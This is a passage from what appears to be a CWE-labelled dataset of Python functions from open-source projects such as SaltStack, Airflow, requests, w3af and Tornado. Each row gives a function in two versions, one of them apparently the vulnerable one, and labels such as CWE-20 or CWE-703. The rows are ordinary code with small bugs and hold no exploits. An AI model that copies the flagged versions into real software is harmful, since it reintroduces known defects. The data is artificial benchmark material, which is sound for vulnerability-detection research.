        template can result in YAML formatting issues due to the newlines
        causing indentation mismatches.

        .. versionadded:: 2015.8.0

    formatter
        Write the data as this format. See the list of :py:mod:`serializer
        modules <salt.serializers>` for supported output formats.

    encoding
        If specified, then the specified encoding will be used. Otherwise, the
        file will be encoded using the system locale (usually UTF-8). See
        https://docs.python.org/3/library/codecs.html#standard-encodings for
        the list of available encodings.

        .. versionadded:: 2017.7.0

    encoding_errors : 'strict'
        Error encoding scheme. Default is ```'strict'```.
        See https://docs.python.org/2/library/codecs.html#codec-base-classes
        for the list of available schemes.

        .. versionadded:: 2017.7.0

    user
        The user to own the directory, this defaults to the user salt is
        running as on the minion

    group
        The group ownership set for the directory, this defaults to the group
        salt is running as on the minion

    mode
        The permissions to set on this file, e.g. ``644``, ``0775``, or
        ``4664``.

        The default mode for new files and directories corresponds umask of salt
        process. For existing files and directories it's not enforced.

        .. note::
            This option is **not** supported on Windows.

    backup
        Overrides the default backup mode for this specific file.

    makedirs
        Create parent directories for destination file.

        .. versionadded:: 2014.1.3

    show_changes
        Output a unified diff of the old file and the new file. If ``False``
        return a boolean if any changes were made.

    create
        Default is True, if create is set to False then the file will only be
        managed if the file already exists on the system.

    merge_if_exists
        Default is False, if merge_if_exists is True then the existing file will
        be parsed and the dataset passed in will be merged with the existing
        content

        .. versionadded:: 2014.7.0

    serializer_opts
        Pass through options to serializer. For example:

        .. code-block:: yaml

           /etc/dummy/package.yaml
             file.serialize:
               - formatter: yaml
               - serializer_opts:
                 - explicit_start: True
                 - default_flow_style: True
                 - indent: 4

        The valid opts are the additional opts (i.e. not the data being
        serialized) for the function used to serialize the data. Documentation
        for the these functions can be found in the list below:

        - For **yaml**: `yaml.dump()`_
        - For **json**: `json.dumps()`_
        - For **python**: `pprint.pformat()`_

        .. _`yaml.dump()`: https://pyyaml.org/wiki/PyYAMLDocumentation
        .. _`json.dumps()`: https://docs.python.org/2/library/json.html#json.dumps
        .. _`pprint.pformat()`: https://docs.python.org/2/library/pprint.html#pprint.pformat

    deserializer_opts
        Like ``serializer_opts`` above, but only used when merging with an
        existing file (i.e. when ``merge_if_exists`` is set to ``True``).

        The options specified here will be passed to the deserializer to load
        the existing data, before merging with the specified data and
        re-serializing.

        .. code-block:: yaml

           /etc/dummy/package.yaml
             file.serialize:
               - formatter: yaml
               - serializer_opts:
                 - explicit_start: True
                 - default_flow_style: True
                 - indent: 4
               - deserializer_opts:
                 - encoding: latin-1
               - merge_if_exists: True

        The valid opts are the additional opts (i.e. not the data being
        deserialized) for the function used to deserialize the data.
        Documentation for the these functions can be found in the list below:

        - For **yaml**: `yaml.load()`_
        - For **json**: `json.loads()`_

        .. _`yaml.load()`: https://pyyaml.org/wiki/PyYAMLDocumentation
        .. _`json.loads()`: https://docs.python.org/2/library/json.html#json.loads

        However, note that not all arguments are supported. For example, when
        deserializing JSON, arguments like ``parse_float`` and ``parse_int``
        which accept a callable object cannot be handled in an SLS file.

        .. versionadded:: 2019.2.0

    For example, this state:

    .. code-block:: yaml

        /etc/dummy/package.json:
          file.serialize:
            - dataset:
                name: naive
                description: A package using naive versioning
                author: A confused individual <iam@confused.com>
                dependencies:
                  express: '>= 1.2.0'
                  optimist: '>= 0.1.0'
                engine: node 0.4.1
            - formatter: json

    will manage the file ``/etc/dummy/package.json``:

    .. code-block:: json

        {
          ""author"": ""A confused individual <iam@confused.com>"",
          ""dependencies"": {
            ""express"": "">= 1.2.0"",
            ""optimist"": "">= 0.1.0""
          },
          ""description"": ""A package using naive versioning"",
          ""engine"": ""node 0.4.1"",
          ""name"": ""naive""
        }
    '''
    if 'env' in kwargs:
        # ""env"" is not supported; Use ""saltenv"".
        kwargs.pop('env')

    name = os.path.expanduser(name)

    # Set some defaults
    serializer_options = {
        'yaml.serialize': {
            'default_flow_style': False,
        },
        'json.serialize': {
            'indent': 2,
            'separators': (',', ': '),
            'sort_keys': True,
        }
    }
    deserializer_options = {
        'yaml.deserialize': {},
        'json.deserialize': {},
    }
    if encoding:
        serializer_options['yaml.serialize'].update({'allow_unicode': True})
        serializer_options['json.serialize'].update({'ensure_ascii': False})

    ret = {'changes': {},
           'comment': '',
           'name': name,
           'result': True}
    if not name:
        return _error(ret, 'Must provide name to file.serialize')

    if not create:
        if not os.path.isfile(name):
            # Don't create a file that is not already present
            ret['comment'] = ('File {0} is not present and is not set for '
                              'creation').format(name)
            return ret

    formatter = kwargs.pop('formatter', 'yaml').lower()

    if len([x for x in (dataset, dataset_pillar) if x]) > 1:
        return _error(
            ret, 'Only one of \'dataset\' and \'dataset_pillar\' is permitted')

    if dataset_pillar:
        dataset = __salt__['pillar.get'](dataset_pillar)

    if dataset is None:
        return _error(
            ret, 'Neither \'dataset\' nor \'dataset_pillar\' was defined')

    if salt.utils.platform.is_windows():
        if group is not None:
            log.warning(
                'The group argument for %s has been ignored as this '
                'is a Windows system.', name
            )
        group = user

    serializer_name = '{0}.serialize'.format(formatter)
    deserializer_name = '{0}.deserialize'.format(formatter)

    if serializer_name not in __serializers__:
        return {'changes': {},
                'comment': '{0} format is not supported'.format(
                    formatter.capitalize()),
                'name': name,
                'result': False
                }

    if serializer_opts:
        serializer_options.setdefault(serializer_name, {}).update(
            salt.utils.data.repack_dictlist(serializer_opts)
        )

    if deserializer_opts:
        deserializer_options.setdefault(deserializer_name, {}).update(
            salt.utils.data.repack_dictlist(deserializer_opts)
        )

    if merge_if_exists:
        if os.path.isfile(name):
            if deserializer_name not in __serializers__:
                return {
                    'changes': {},
                    'comment': 'merge_if_exists is not supported for the {0} '
                               'formatter'.format(formatter),
                    'name': name,
                    'result': False
                }

            with salt.utils.files.fopen(name, 'r') as fhr:
                try:
                    existing_data = __serializers__[deserializer_name](
                        fhr,
                        **deserializer_options.get(deserializer_name, {})
                    )
                except (TypeError, DeserializationError) as exc:
                    ret['result'] = False
                    ret['comment'] = \
                        'Failed to deserialize existing data: {0}'.format(exc)
                    return False

            if existing_data is not None:
                merged_data = salt.utils.dictupdate.merge_recurse(existing_data, dataset)
                if existing_data == merged_data:
                    ret['result'] = True
                    ret['comment'] = 'The file {0} is in the correct state'.format(name)
                    return ret
                dataset = merged_data
    else:
        if deserializer_opts:
            ret.setdefault('warnings', []).append(
                'The \'deserializer_opts\' option is ignored unless '
                'merge_if_exists is set to True.'
            )

    contents = __serializers__[serializer_name](
        dataset,
        **serializer_options.get(serializer_name, {})
    )

    contents += '\n'

    # Make sure that any leading zeros stripped by YAML loader are added back
    mode = salt.utils.files.normalize_mode(mode)

    if __opts__['test']:
        ret['changes'] = __salt__['file.check_managed_changes'](
            name=name,
            source=None,
            source_hash={},
            source_hash_name=None,
            user=user,
            group=group,
            mode=mode,
            attrs=None,
            template=None,
            context=None,
            defaults=None,
            saltenv=__env__,
            contents=contents,
            skip_verify=False,
            **kwargs
        )

        if ret['changes']:
            ret['result'] = None
            ret['comment'] = 'Dataset will be serialized and stored into {0}'.format(
                name)

            if not show_changes:
                ret['changes']['diff'] = '<show_changes=False>'
        else:
            ret['result'] = True
            ret['comment'] = 'The file {0} is in the correct state'.format(name)
        return ret

    return __salt__['file.manage_file'](name=name,
                                        sfn='',
                                        ret=ret,
                                        source=None,
                                        source_sum={},
                                        user=user,
                                        group=group,
                                        mode=mode,
                                        attrs=None,
                                        saltenv=__env__,
                                        backup=backup,
                                        makedirs=makedirs,
                                        template=None,
                                        show_changes=show_changes,
                                        encoding=encoding,
                                        encoding_errors=encoding_errors,
                                        contents=contents)",CWE-20,saltstack/salt,21d63656c18ca20c0590aa702a68ac18a45a795c,"def serialize(name,
              dataset=None,
              dataset_pillar=None,
              user=None,
              group=None,
              mode=None,
              backup='',
              makedirs=False,
              show_changes=True,
              create=True,
              merge_if_exists=False,
              encoding=None,
              encoding_errors='strict',
              serializer_opts=None,
              deserializer_opts=None,
              **kwargs):
    '''
    Serializes dataset and store it into managed file. Useful for sharing
    simple configuration files.

    name
        The location of the file to create

    dataset
        The dataset that will be serialized

    dataset_pillar
        Operates like ``dataset``, but draws from a value stored in pillar,
        using the pillar path syntax used in :mod:`pillar.get
        <salt.modules.pillar.get>`. This is useful when the pillar value
        contains newlines, as referencing a pillar variable using a jinja/mako
        template can result in YAML formatting issues due to the newlines
        causing indentation mismatches.

        .. versionadded:: 2015.8.0

    formatter
        Write the data as this format. See the list of :py:mod:`serializer
        modules <salt.serializers>` for supported output formats.

    encoding
        If specified, then the specified encoding will be used. Otherwise, the
        file will be encoded using the system locale (usually UTF-8). See
        https://docs.python.org/3/library/codecs.html#standard-encodings for
        the list of available encodings.

        .. versionadded:: 2017.7.0

    encoding_errors : 'strict'
        Error encoding scheme. Default is ```'strict'```.
        See https://docs.python.org/2/library/codecs.html#codec-base-classes
        for the list of available schemes.

        .. versionadded:: 2017.7.0

    user
        The user to own the directory, this defaults to the user salt is
        running as on the minion

    group
        The group ownership set for the directory, this defaults to the group
        salt is running as on the minion

    mode
        The permissions to set on this file, e.g. ``644``, ``0775``, or
        ``4664``.

        The default mode for new files and directories corresponds umask of salt
        process. For existing files and directories it's not enforced.

        .. note::
            This option is **not** supported on Windows.

    backup
        Overrides the default backup mode for this specific file.

    makedirs
        Create parent directories for destination file.

        .. versionadded:: 2014.1.3

    show_changes
        Output a unified diff of the old file and the new file. If ``False``
        return a boolean if any changes were made.

    create
        Default is True, if create is set to False then the file will only be
        managed if the file already exists on the system.

    merge_if_exists
        Default is False, if merge_if_exists is True then the existing file will
        be parsed and the dataset passed in will be merged with the existing
        content

        .. versionadded:: 2014.7.0

    serializer_opts
        Pass through options to serializer. For example:

        .. code-block:: yaml

           /etc/dummy/package.yaml
             file.serialize:
               - formatter: yaml
               - serializer_opts:
                 - explicit_start: True
                 - default_flow_style: True
                 - indent: 4

        The valid opts are the additional opts (i.e. not the data being
        serialized) for the function used to serialize the data. Documentation
        for the these functions can be found in the list below:

        - For **yaml**: `yaml.dump()`_
        - For **json**: `json.dumps()`_
        - For **python**: `pprint.pformat()`_

        .. _`yaml.dump()`: https://pyyaml.org/wiki/PyYAMLDocumentation
        .. _`json.dumps()`: https://docs.python.org/2/library/json.html#json.dumps
        .. _`pprint.pformat()`: https://docs.python.org/2/library/pprint.html#pprint.pformat

    deserializer_opts
        Like ``serializer_opts`` above, but only used when merging with an
        existing file (i.e. when ``merge_if_exists`` is set to ``True``).

        The options specified here will be passed to the deserializer to load
        the existing data, before merging with the specified data and
        re-serializing.

        .. code-block:: yaml

           /etc/dummy/package.yaml
             file.serialize:
               - formatter: yaml
               - serializer_opts:
                 - explicit_start: True
                 - default_flow_style: True
                 - indent: 4
               - deserializer_opts:
                 - encoding: latin-1
               - merge_if_exists: True

        The valid opts are the additional opts (i.e. not the data being
        deserialized) for the function used to deserialize the data.
        Documentation for the these functions can be found in the list below:

        - For **yaml**: `yaml.load()`_
        - For **json**: `json.loads()`_

        .. _`yaml.load()`: https://pyyaml.org/wiki/PyYAMLDocumentation
        .. _`json.loads()`: https://docs.python.org/2/library/json.html#json.loads

        However, note that not all arguments are supported. For example, when
        deserializing JSON, arguments like ``parse_float`` and ``parse_int``
        which accept a callable object cannot be handled in an SLS file.

        .. versionadded:: 2019.2.0

    For example, this state:

    .. code-block:: yaml

        /etc/dummy/package.json:
          file.serialize:
            - dataset:
                name: naive
                description: A package using naive versioning
                author: A confused individual <iam@confused.com>
                dependencies:
                  express: '>= 1.2.0'
                  optimist: '>= 0.1.0'
                engine: node 0.4.1
            - formatter: json

    will manage the file ``/etc/dummy/package.json``:

    .. code-block:: json

        {
          ""author"": ""A confused individual <iam@confused.com>"",
          ""dependencies"": {
            ""express"": "">= 1.2.0"",
            ""optimist"": "">= 0.1.0""
          },
          ""description"": ""A package using naive versioning"",
          ""engine"": ""node 0.4.1"",
          ""name"": ""naive""
        }
    '''
    if 'env' in kwargs:
        # ""env"" is not supported; Use ""saltenv"".
        kwargs.pop('env')

    name = os.path.expanduser(name)

    # Set some defaults
    serializer_options = {
        'yaml.serialize': {
            'default_flow_style': False,
        },
        'json.serialize': {
            'indent': 2,
            'separators': (',', ': '),
            'sort_keys': True,
        }
    }
    deserializer_options = {
        'yaml.deserialize': {},
        'json.deserialize': {},
    }
    if encoding:
        serializer_options['yaml.serialize'].update({'allow_unicode': True})
        serializer_options['json.serialize'].update({'ensure_ascii': False})

    ret = {'changes': {},
           'comment': '',
           'name': name,
           'result': True}
    if not name:
        return _error(ret, 'Must provide name to file.serialize')

    if not create:
        if not os.path.isfile(name):
            # Don't create a file that is not already present
            ret['comment'] = ('File {0} is not present and is not set for '
                              'creation').format(name)
            return ret

    formatter = kwargs.pop('formatter', 'yaml').lower()

    if len([x for x in (dataset, dataset_pillar) if x]) > 1:
        return _error(
            ret, 'Only one of \'dataset\' and \'dataset_pillar\' is permitted')

    if dataset_pillar:
        dataset = __salt__['pillar.get'](dataset_pillar)

    if dataset is None:
        return _error(
            ret, 'Neither \'dataset\' nor \'dataset_pillar\' was defined')

    if salt.utils.platform.is_windows():
        if group is not None:
            log.warning(
                'The group argument for %s has been ignored as this '
                'is a Windows system.', name
            )
        group = user

    serializer_name = '{0}.serialize'.format(formatter)
    deserializer_name = '{0}.deserialize'.format(formatter)

    if serializer_name not in __serializers__:
        return {'changes': {},
                'comment': '{0} format is not supported'.format(
                    formatter.capitalize()),
                'name': name,
                'result': False
                }

    if serializer_opts:
        serializer_options.setdefault(serializer_name, {}).update(
            salt.utils.data.repack_dictlist(serializer_opts)
        )

    if deserializer_opts:
        deserializer_options.setdefault(deserializer_name, {}).update(
            salt.utils.data.repack_dictlist(deserializer_opts)
        )

    if merge_if_exists:
        if os.path.isfile(name):
            if deserializer_name not in __serializers__:
                return {
                    'changes': {},
                    'comment': 'merge_if_exists is not supported for the {0} '
                               'formatter'.format(formatter),
                    'name': name,
                    'result': False
                }

            with salt.utils.files.fopen(name, 'r') as fhr:
                try:
                    existing_data = __serializers__[deserializer_name](
                        fhr,
                        **deserializer_options.get(serializer_name, {})
                    )
                except (TypeError, DeserializationError) as exc:
                    ret['result'] = False
                    ret['comment'] = \
                        'Failed to deserialize existing data: {0}'.format(exc)
                    return False

            if existing_data is not None:
                merged_data = salt.utils.dictupdate.merge_recurse(existing_data, dataset)
                if existing_data == merged_data:
                    ret['result'] = True
                    ret['comment'] = 'The file {0} is in the correct state'.format(name)
                    return ret
                dataset = merged_data
    else:
        if deserializer_opts:
            ret.setdefault('warnings', []).append(
                'The \'deserializer_opts\' option is ignored unless '
                'merge_if_exists is set to True.'
            )

    contents = __serializers__[serializer_name](
        dataset,
        **serializer_options.get(serializer_name, {})
    )

    contents += '\n'

    # Make sure that any leading zeros stripped by YAML loader are added back
    mode = salt.utils.files.normalize_mode(mode)

    if __opts__['test']:
        ret['changes'] = __salt__['file.check_managed_changes'](
            name=name,
            source=None,
            source_hash={},
            source_hash_name=None,
            user=user,
            group=group,
            mode=mode,
            attrs=None,
            template=None,
            context=None,
            defaults=None,
            saltenv=__env__,
            contents=contents,
            skip_verify=False,
            **kwargs
        )

        if ret['changes']:
            ret['result'] = None
            ret['comment'] = 'Dataset will be serialized and stored into {0}'.format(
                name)

            if not show_changes:
                ret['changes']['diff'] = '<show_changes=False>'
        else:
            ret['result'] = True
            ret['comment'] = 'The file {0} is in the correct state'.format(name)
        return ret

    return __salt__['file.manage_file'](name=name,
                                        sfn='',
                                        ret=ret,
                                        source=None,
                                        source_sum={},
                                        user=user,
                                        group=group,
                                        mode=mode,
                                        attrs=None,
                                        saltenv=__env__,
                                        backup=backup,
                                        makedirs=makedirs,
                                        template=None,
                                        show_changes=show_changes,
                                        encoding=encoding,
                                        encoding_errors=encoding_errors,
                                        contents=contents)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-core/src/airflow/utils/db_manager.py,0,"def __init__(self):
        super().__init__()
        self._managers: list[BaseDBManager] = []
        managers_config = conf.get(""database"", ""external_db_managers"", fallback=None)
        if not managers_config:
            managers = []
        else:
            managers = managers_config.split("","")
        # Add DB manager specified by auth manager (if any)
        auth_manager_db_manager = create_auth_manager().get_db_manager()
        if auth_manager_db_manager and auth_manager_db_manager not in managers:
            managers.append(auth_manager_db_manager)
        for module in managers:
            manager = import_string(module)
            self._managers.append(manager)",CWE-Unknown,apache/airflow,6f26a388b25ba61914cf1de6d2c2bb551126b5e2,"def __init__(self):
        super().__init__()
        self._managers: list[BaseDBManager] = []
        managers = conf.get(""database"", ""external_db_managers"").split("","")

        # Add DB manager specified by auth manager (if any)
        auth_manager_db_manager = create_auth_manager().get_db_manager()
        if auth_manager_db_manager and auth_manager_db_manager not in managers:
            managers.append(auth_manager_db_manager)

        for module in managers:
            manager = import_string(module)
            self._managers.append(manager)"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def iter_lines(self, chunk_size=ITER_CHUNK_SIZE, decode_unicode=None, delimiter=None):
        """"""Iterates over the response data, one line at a time.  When
        stream=True is set on the request, this avoids reading the
        content at once into memory for large responses.

        .. note:: This method is not reentrant safe.
        """"""
        carriage_return = u'\r' if decode_unicode else b'\r'
        line_feed = u'\n' if decode_unicode else b'\n'

        pending = None
        last_chunk_ends_with_cr = False

        for chunk in self.iter_content(chunk_size=chunk_size,
                                       decode_unicode=decode_unicode):
            # Skip any null responses: if there is pending data it is necessarily an
            # incomplete chunk, so if we don't have more data we don't want to bother
            # trying to get it. Unconsumed pending data will be yielded anyway in the
            # end of the loop if the stream ends.
            if not chunk:
                continue

            # Consume any pending data
            if pending is not None:
                chunk = pending + chunk
                pending = None

            # Either split on a line, or split on a specified delimiter
            if delimiter:
                lines = chunk.split(delimiter)
            else:
                # Python splitlines() supports the universal newline (PEP 278).
                # That means, '\r', '\n', and '\r\n' are all treated as end of
                # line. If the last chunk ends with '\r', and the current chunk
                # starts with '\n', they should be merged and treated as only
                # *one* new line separator '\r\n' by splitlines().
                # This rule only applies when splitlines() is used.

                # The last chunk ends with '\r', so the '\n' at chunk[0]
                # is just the second half of a '\r\n' pair rather than a
                # new line break. Just skip it.
                skip_first_char = last_chunk_ends_with_cr and chunk.startswith(line_feed)
                last_chunk_ends_with_cr = chunk.endswith(carriage_return)
                if skip_first_char:
                    chunk = chunk[1:]
                    # it's possible that after stripping the '\n' then chunk becomes empty
                    if not chunk:
                        continue
                lines = chunk.splitlines()

            # Calling `.split(delimiter)` will always end with whatever text
            # remains beyond the delimiter, or '' if the delimiter is the end
            # of the text.  On the other hand, `.splitlines()` doesn't include
            # a '' if the text ends in a line delimiter.
            #
            # For example:
            #
            #     'abc\ndef\n'.split('\n')  ~> ['abc', 'def', '']
            #     'abc\ndef\n'.splitlines() ~> ['abc', 'def']
            #
            # So if we have a specified delimiter, we always pop the final
            # item and prepend it to the next chunk.
            #
            # If we're using `splitlines()`, we only do this if the chunk
            # ended midway through a line.
            incomplete_line = lines[-1] and lines[-1][-1] == chunk[-1]
            if delimiter or incomplete_line:
                pending = lines.pop()

            for line in lines:
                yield line

        if pending is not None:
            yield pending",,psf/requests,084625cb3cd6bed4feeb0e65c880dc02c2fb3aa1,"def iter_lines(self, chunk_size=ITER_CHUNK_SIZE, decode_unicode=None, delimiter=None):
        """"""Iterates over the response data, one line at a time.  When
        stream=True is set on the request, this avoids reading the
        content at once into memory for large responses.

        .. note:: This method is not reentrant safe.
        """"""
        pending = None

        for chunk in self.iter_content(chunk_size=chunk_size,
                                       decode_unicode=decode_unicode):
            # Skip any null responses: if there is pending data it is necessarily an
            # incomplete chunk, so if we don't have more data we don't want to bother
            # trying to get it. Unconsumed pending data will be yielded anyway in the
            # end of the loop if the stream ends.
            if not chunk:
                continue

            # Consume any pending data
            if pending is not None:
                chunk = pending + chunk
                pending = None

            # Either split on a line, or split on a specified delimiter
            if delimiter:
                lines = chunk.split(delimiter)
            else:
                lines = chunk.splitlines()

            # Calling `.split(delimiter)` will always end with whatever text
            # remains beyond the delimiter, or '' if the delimiter is the end
            # of the text.  On the other hand, `.splitlines()` doesn't include
            # a '' if the text ends in a line delimiter.
            #
            # For example:
            #
            #     'abc\ndef\n'.split('\n')  ~> ['abc', 'def', '']
            #     'abc\ndef\n'.splitlines() ~> ['abc', 'def']
            #
            # So if we have a specified delimiter, we always pop the final
            # item and prepend it to the next chunk.
            #
            # If we're using `splitlines()`, we only do this if the chunk
            # ended midway through a line.
            incomplete_line = lines[-1] and lines[-1][-1] == chunk[-1]
            if delimiter or incomplete_line:
                pending = lines.pop()

            for line in lines:
                yield line

        if pending is not None:
            yield pending"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/log/test_s3_task_handler.py,1,"def setUp(self):
        super().setUp()
        self.remote_log_base = 's3://bucket/remote/log/location'
        self.remote_log_location = 's3://bucket/remote/log/location/1.log'
        self.remote_log_key = 'remote/log/location/1.log'
        self.local_log_location = 'local/log/location'
        self.filename_template = '{try_number}.log'
        self.s3_task_handler = S3TaskHandler(
            self.local_log_location, self.remote_log_base, self.filename_template
        )
        # Vivfy the hook now with the config override
        assert self.s3_task_handler.hook is not None

        date = datetime(2016, 1, 1)
        self.dag = DAG('dag_for_testing_s3_task_handler', start_date=date)
        task = EmptyOperator(task_id='task_for_testing_s3_log_handler', dag=self.dag)
        dag_run = DagRun(dag_id=self.dag.dag_id, execution_date=date, run_id=""test"")
        self.ti = TaskInstance(task=task)
        self.ti.dag_run = dag_run
        self.ti.try_number = 1
        self.ti.state = State.RUNNING
        self.addCleanup(self.dag.clear)

        self.conn = boto3.client('s3')
        # We need to create the bucket since this is all in Moto's 'virtual'
        # AWS account
        moto.moto_api._internal.models.moto_api_backend.reset()
        self.conn.create_bucket(Bucket=""bucket"")",CWE-703,apache/airflow,f3f07574a61482fc9ca20e54fba594d3ceae72ef,"def setUp(self):
        super().setUp()
        self.remote_log_base = 's3://bucket/remote/log/location'
        self.remote_log_location = 's3://bucket/remote/log/location/1.log'
        self.remote_log_key = 'remote/log/location/1.log'
        self.local_log_location = 'local/log/location'
        self.filename_template = '{try_number}.log'
        self.s3_task_handler = S3TaskHandler(
            self.local_log_location, self.remote_log_base, self.filename_template
        )
        # Vivfy the hook now with the config override
        assert self.s3_task_handler.hook is not None

        date = datetime(2016, 1, 1)
        self.dag = DAG('dag_for_testing_s3_task_handler', start_date=date)
        task = EmptyOperator(task_id='task_for_testing_s3_log_handler', dag=self.dag)
        dag_run = DagRun(dag_id=self.dag.dag_id, execution_date=date, run_id=""test"")
        self.ti = TaskInstance(task=task)
        self.ti.dag_run = dag_run
        self.ti.try_number = 1
        self.ti.state = State.RUNNING
        self.addCleanup(self.dag.clear)

        self.conn = boto3.client('s3')
        # We need to create the bucket since this is all in Moto's 'virtual'
        # AWS account
        moto.core.moto_api_backend.reset()
        self.conn.create_bucket(Bucket=""bucket"")"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/dot_net_event_validation.py,0,"def grep(self, request, response):
        '''
        If I find __VIEWSTATE and empty __EVENTVALIDATION => vuln.
        
        @param request: The HTTP request object.
        @param response: The HTTP response object
        '''
        if response.is_text_or_html():

            # First verify if we havent analyzed this URI yet
            if request.getURL() in self._already_analyzed:
                return
            
            self._already_analyzed.add(request.getURL())

            res = self._viewstate.search(response.getBody())
            if res:
                
                # I have __viewstate!, verify if event validation is enabled
                if not self._eventvalidation.search(response.getBody()):
                    i = info.info()
                    i.set_plugin_name(self.get_name())
                    i.set_name('.NET Event Validation is disabled')
                    i.setURL( response.getURL() )
                    i.set_id( response.id )
                    i.addToHighlight(res.group())
                    msg = 'The URL: ""' + i.getURL() + '"" has .NET Event Validation disabled. '
                    msg += 'This programming/configuration error should be manually verified.'
                    i.set_desc( msg )
                    kb.kb.append( self, 'dot_net_event_validation', i )

                if not self._encryptedVs.search(response.getBody()):
                    # Nice! We can decode the viewstate! =)
                    i = info.info()
                    i.set_plugin_name(self.get_name())
                    i.set_name('.NET ViewState encryption is disabled')
                    i.setURL( response.getURL() )
                    i.set_id( response.id )
                    msg = 'The URL: ""' + i.getURL() + '"" has .NET ViewState encryption disabled. '
                    msg += 'This programming/configuration error could be exploited '
                    msg += 'to decode the viewstate contents.'
                    i.set_desc( msg )
                    kb.kb.append( self, 'dot_net_event_validation', i )",,andresriancho/w3af,8b82f5b4d839c26a1f3390634f5e9977cfd7db6c,"def grep(self, request, response):
        '''
        If I find __VIEWSTATE and empty __EVENTVALIDATION => vuln.
        
        @param request: The HTTP request object.
        @param response: The HTTP response object
        '''
        if response.is_text_or_html():

            # First verify if we havent analyzed this URI yet
            if request.getURL() in self._already_analyzed:
                return
            
            self._already_analyzed.add(request.getURL())

            res = self._viewstate.search(response.getBody())
            if res:
                
                # I have __viewstate!, verify if event validation is enabled
                if not self._eventvalidation.search(response.getBody()):
                    i = info.info()
                    i.setPluginName(self.get_name())
                    i.set_name('.NET Event Validation is disabled')
                    i.setURL( response.getURL() )
                    i.set_id( response.id )
                    i.addToHighlight(res.group())
                    msg = 'The URL: ""' + i.getURL() + '"" has .NET Event Validation disabled. '
                    msg += 'This programming/configuration error should be manually verified.'
                    i.set_desc( msg )
                    kb.kb.append( self, 'dot_net_event_validation', i )

                if not self._encryptedVs.search(response.getBody()):
                    # Nice! We can decode the viewstate! =)
                    i = info.info()
                    i.setPluginName(self.get_name())
                    i.set_name('.NET ViewState encryption is disabled')
                    i.setURL( response.getURL() )
                    i.set_id( response.id )
                    msg = 'The URL: ""' + i.getURL() + '"" has .NET ViewState encryption disabled. '
                    msg += 'This programming/configuration error could be exploited '
                    msg += 'to decode the viewstate contents.'
                    i.set_desc( msg )
                    kb.kb.append( self, 'dot_net_event_validation', i )"
,UNKNOWN,UNKNOWN,tests/providers/fab/auth_manager/test_security.py,1,"def assert_user_does_not_have_dag_perms(has_dag_perm):
    def _assert_user_does_not_have_dag_perms(dag_id, perms, user=None):
        for perm in perms:
            assert not has_dag_perm(perm, dag_id, user), f""User should not have '{perm}' on DAG '{dag_id}'""

    return _assert_user_does_not_have_dag_perms",CWE-703,apache/airflow,f16107017c02b43e1c161b22106f3bb0529ff996,"def assert_user_does_not_have_dag_perms(has_dag_perm):
    def _assert_user_does_not_have_dag_perms(dag_id, perms, user=None):
        for perm in perms:
            assert not has_dag_perm(perm, dag_id, user), f""User should not have '{perm}' on DAG '{dag_id}'""

    return _assert_user_does_not_have_dag_perms"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/test_set.py,0,"def __init__(self, logger, config, profile=None):
        self.logger = logger
        self.config = config
        filter_list = self._filter_list_from_config(profile=profile)
        self.load_tests(filter=filter_list)",UNKNOWN,PyCQA/bandit,bbcc7207634f64caf6d9ea577086cc27986a8602,"def __init__(self, logger, config, profile=None):
        self.logger = logger
        self.config = config
        filter_list = self._filter_list_from_config(profile=profile)
        self.load_tests(filter=filter_list)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/asyncio_test.py,0,"def test_asyncio_adapter(self):
        # This test demonstrates that when using the asyncio coroutine
        # runner (i.e. run_until_complete), the to_asyncio_future
        # adapter is needed. No adapter is needed in the other direction,
        # as demonstrated by other tests in the package.
        @gen.coroutine
        def tornado_coroutine():
            yield gen.moment
            raise gen.Return(42)
        native_coroutine_without_adapter = exec_test(globals(), locals(), """"""
        async def native_coroutine_without_adapter():
            return await tornado_coroutine()
        """""")[""native_coroutine_without_adapter""]

        native_coroutine_with_adapter = exec_test(globals(), locals(), """"""
        async def native_coroutine_with_adapter():
            return await to_asyncio_future(tornado_coroutine())
        """""")[""native_coroutine_with_adapter""]

        # Use the adapter, but two degrees from the tornado coroutine.
        native_coroutine_with_adapter2 = exec_test(globals(), locals(), """"""
        async def native_coroutine_with_adapter2():
            return await to_asyncio_future(native_coroutine_without_adapter())
        """""")[""native_coroutine_with_adapter2""]

        # Tornado supports native coroutines both with and without adapters
        self.assertEqual(
            self.io_loop.run_sync(native_coroutine_without_adapter),
            42)
        self.assertEqual(
            self.io_loop.run_sync(native_coroutine_with_adapter),
            42)
        self.assertEqual(
            self.io_loop.run_sync(native_coroutine_with_adapter2),
            42)

        # Asyncio only supports coroutines that yield asyncio-compatible
        # Futures (which our Future is since 5.0).
        self.assertEqual(
            asyncio.get_event_loop().run_until_complete(
                native_coroutine_without_adapter()),
            42)
        self.assertEqual(
            asyncio.get_event_loop().run_until_complete(
                native_coroutine_with_adapter()),
            42)
        self.assertEqual(
            asyncio.get_event_loop().run_until_complete(
                native_coroutine_with_adapter2()),
            42)",CWE-Unknown,tornadoweb/tornado,35a538f50e704e348926e1b113bc03328a1da9f2,"def test_asyncio_adapter(self):
        # This test demonstrates that when using the asyncio coroutine
        # runner (i.e. run_until_complete), the to_asyncio_future
        # adapter is needed. No adapter is needed in the other direction,
        # as demonstrated by other tests in the package.
        @gen.coroutine
        def tornado_coroutine():
            yield gen.moment
            raise gen.Return(42)
        native_coroutine_without_adapter = exec_test(globals(), locals(), """"""
        async def native_coroutine_without_adapter():
            return await tornado_coroutine()
        """""")[""native_coroutine_without_adapter""]

        native_coroutine_with_adapter = exec_test(globals(), locals(), """"""
        async def native_coroutine_with_adapter():
            return await to_asyncio_future(tornado_coroutine())
        """""")[""native_coroutine_with_adapter""]

        # Use the adapter, but two degrees from the tornado coroutine.
        native_coroutine_with_adapter2 = exec_test(globals(), locals(), """"""
        async def native_coroutine_with_adapter2():
            return await to_asyncio_future(native_coroutine_without_adapter())
        """""")[""native_coroutine_with_adapter2""]

        # Tornado supports native coroutines both with and without adapters
        self.assertEqual(
            self.io_loop.run_sync(native_coroutine_without_adapter),
            42)
        self.assertEqual(
            self.io_loop.run_sync(native_coroutine_with_adapter),
            42)
        self.assertEqual(
            self.io_loop.run_sync(native_coroutine_with_adapter2),
            42)

        # Asyncio only supports coroutines that yield asyncio-compatible
